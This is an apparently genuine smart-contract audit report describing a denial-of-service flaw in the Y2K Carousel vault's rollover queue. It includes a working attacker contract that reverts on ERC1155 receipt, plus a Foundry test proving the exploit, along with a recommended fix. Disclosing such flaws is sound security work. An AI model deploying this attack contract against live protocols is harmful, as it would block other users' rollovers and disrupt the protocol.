0xRobocop

medium

# The rolloverQueue can get DoSed due to failure on external call

## Summary

The `_mint()` function invokes the `_doSafeTransferAcceptanceCheck()` function. This function performs a call to the receiver of the minting, the `to` parameter. The rationale of this is to ensure that if the receiver is a contract account, the contract can manage the ERC1155 tokens that it is receiving. This is totally unsafe since now an arbitrary contract have the flow of execution.

During the execution of `mintRollovers()` if the conditions are met, a user deposits gets rollover to the next available `epochId`, this means that new shares (representing the epochId) are minted to the `receiver` and hence the `_mint()` function gets invoked. When the `receiver` have the flow of execution, due to _doSafeTransferAcceptanceCheck(), he can simply revert.

## Vulnerability Detail

See summary.

## Impact

All the entries that are after the attacker entry in the `rolloverQueue` will be DoSed. Since no funds are lost, but the functionality of the protocol is affected in an easy way, I consider this a medium severity.

## Proof of concept

Create the next contract:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

interface Carousel2 {
  function deposit(uint256 id, uint256 assets, address receiver) external;
  function mintDepositInQueue(uint256 epochId, uint256 operations) external;
  function enlistInRollover(uint256 epochId, uint256 assets, address receiver) external;
  function balanceOf(address account, uint256 id) external returns(uint256);
}

interface ERC202 {
  function balanceOf(address account) external returns(uint256);
  function approve(address spender, uint256 amount) external returns(bool);
}

contract BreakRolloverQueue {

  Carousel2 public collateralVault;
  Carousel2 public premiumVault;

  ERC202 public underlyingAsset;

  bool public mintedShares;

  constructor(address _collateralVault, address _premiumVault, address _underlyingAsset) {
    collateralVault = Carousel2(_collateralVault);
    premiumVault = Carousel2(_premiumVault);

    underlyingAsset = ERC202(_underlyingAsset);
  }

  function depositToCollateralVault(uint256 epochId) external {
    uint256 balance = underlyingAsset.balanceOf(address(this));
    
    underlyingAsset.approve(address(collateralVault), balance);

    collateralVault.deposit(epochId, underlyingAsset.balanceOf(address(this)), address(this));

    mintedShares = true;
  }

  function enterRolloverQueue(uint256 epochId) external {
    uint256 balance = collateralVault.balanceOf(address(this), epochId);

    collateralVault.enlistInRollover(epochId, balance, address(this));
  }

  function onERC1155Received(
        address,
        address,
        uint256,
        uint256,
        bytes memory
    ) public returns (bytes4) {

      if(!mintedShares) {
        return this.onERC1155Received.selector;
      }

      revert();
        
    }
}

```

Then create a test on the `EndToEndCaraouselTest.t.sol` file.

1. Import the attacker contract: `import "../../../src/attacker/BreakRolloverQueue.sol";`
2. Add to the state variables `BreakRolloverQueue public breakRolloverQueueContract;`
3. Add at the end of the `setUp()` function:
```solidity
breakRolloverQueueContract = new BreakRolloverQueue(
            collateral,
            premium,
            UNDERLYING
        );

deal(UNDERLYING, address(breakRolloverQueueContract), 1 ether, true);
```
4. Add the following function test:
```solidity
function testBreakingRolloverQueue() public {
        // Attacker deposit to epochId and enters the rollover queue
        vm.warp(begin - 1 days);
 
        breakRolloverQueueContract.depositToCollateralVault(epochId);
        breakRolloverQueueContract.enterRolloverQueue(epochId);

        // USER buys some insurance
        vm.startPrank(USER);

        vm.warp(begin - 1 days);

        IERC20(UNDERLYING).approve(premium, 5 ether);
        Carousel(premium).deposit(epochId, 5 ether, USER);
        
        vm.stopPrank();

        // USER 2 deposit into collateral vault and enlist to rollover queue
        vm.startPrank(USER2);

        vm.warp(begin - 1 days);

        IERC20(UNDERLYING).approve(collateral, 10 ether);
        Carousel(collateral).deposit(epochId, 10 ether, USER2);
        Carousel(collateral).enlistInRollover(epochId, 9 ether, USER2);

        vm.stopPrank();

        // Attacker and USER2 are in the rollover queue
        assertEq(Carousel(collateral).getRolloverQueueLenght(), 2);

        //warp to end of epoch
        vm.warp(end + 1 days);

        // trigger end epoch
        // Collateral vault wins 
        controller.triggerEndEpoch(marketId, epochId);

        // mintRollovers() will fail due the attacker reverting the transaction.
        vm.expectRevert();
        Carousel(collateral).mintRollovers(nextEpochId, 2);
    }
```
5. Run `forge test --match-contract EndToEndCarouselTest --match-test testBreakingRolloverQueue`

## Code Snippet

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L536

## Tool used

Manual Review

## Recommendation

Remove `_doSafeTransferAcceptanceCheck()` from `_mint()`.
